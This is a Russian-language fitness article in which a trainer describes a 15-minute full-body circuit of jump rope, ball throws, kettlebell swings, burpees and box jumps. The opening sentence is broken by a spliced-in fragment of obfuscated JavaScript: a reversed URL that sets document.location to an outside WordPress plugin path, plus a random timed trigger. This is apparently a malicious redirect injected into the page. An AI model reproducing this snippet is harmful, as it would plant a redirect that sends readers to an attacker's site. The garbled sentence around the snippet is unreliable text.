Тренер Павел Тринитатов специально для читателей fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru составил программу тренировки для всего тела и предлагает вам сделать её прямо сейчас (или хотя бы сегодня). Понадобится минимум времени и максимум выносливости.
Прыжки со скакалкой
Фото: Элина Кошкина
- Возьмите скакалку, встаньте прямо. Спину держите ровно. Плечи расслаблены, лопатки сведены.
- Старайтесь не сгибать сильно ноги в коленях, пружиньте только на носках. Задействуйте икроножные мышцы, приземляйтесь на носки. Держите скакалку за концы рукояток и крутите их только кистями (плечи и локти никак не задействованы).
- Сделайте 100 прыжков.
Броски мяча
Фото: Элина Кошкина
- Стойте прямо, ноги на ширине плеч. Носки развёрнуты. Возьмите мяч в руки (чем больше мяч, тем лучше) и держите его перед лицом. Мышцы живота и спины напряжены.
- Приседайте, отводя таз назад, но опускайтесь ниже параллели с полом. Колени движутся в сторону носков.
- Поднимайтесь и выкидывайте мяч вверх за счёт мощного разгибания в тазу и коленях, а не за счёт движения рук — руки только направляют мяч. Локти находятся строго под мячом, не разводите их в стороны. Спина всё время остаётся прямой.
- Сделайте 10 повторений.
Махи гирей
Фото: Элина Кошкина
- Ноги чуть шире ширины плеч. Отведите таз назад. Возьмитесь за ручку гири обеими руками. Сделайте неглубокий присед. Следите за тем, чтобы гиря не касалась пола.
- Мощным движением вперёд выполните мах гирей вверх, одновременно выпрямляя ноги и поднимая гирю над головой. Сделайте ещё один мах гирей, выполняя присед. Спина не сутулится. Руки всё время остаются прямыми, они работают как канаты — никак не задействованы в работе.
- Старайтесь не сильно напрягать мышцы, ведите тело за гирей.
- Сделайте 10 повторений.
Бёрпи
Фото: Элина Кошкина
- Становитесь прямо, ноги на ширине плеч. Приседайте, пока не сможете поставить ладони на пол.
- Перенесите вес тела на руки, выполните прыжок ногами назад. Широко расставьте ноги, чтобы уменьшить нагрузку — это позволит сделать все повторения без нарушений техники выполнения, но эффективность упражнения не снижается. Сделайте отжимание, затем в прыжке подтяните ноги к рукам.
- Выпрямитесь и подпрыгните, сделав хлопок над головой. Сделайте 10 раз.
Прыжки на коробку
Фото: Элина Кошкина
- Установите высокий ящик или стул. Становитесь перед ним и отведите таз назад. За счёт мощного раскрытия тазобедренного сустава и толчка ногами оттолкнитесь от пола и запрыгните на ящик. Старайтесь не сгибать сильно колени, чтобы снизить на них нагрузку.
- Вставайте на полную стопу. Стопы не свисают с коробки. Не допускайте скручивания колена внутрь — оно смотрит в сторону носка.
- Не спрыгивайте с коробки, чтобы уменьшить травмоопасность — лучше поочерёдно спустите ноги вниз. Сделайте 10 повторений.
- Сделайте ещё два круга из этих упражнений (всего три круга). Между кругами вы можете отдыхать, но помните: вся ваша тренировка должна уложиться в 15 минут, чтобы почувствовать максимальный от неё эффект.
Статьи по теме
Интенсивная жиросжигающая тренировка на всё тело: 8 упражнений за 30 минут
4 упражнения, которые сделают тело сильным и выносливым
10 упражнений, которые сделают ваше тело идеальным
Тренируемся дома: 6 движений, которые подтянут всё тело и сожгут много калорий
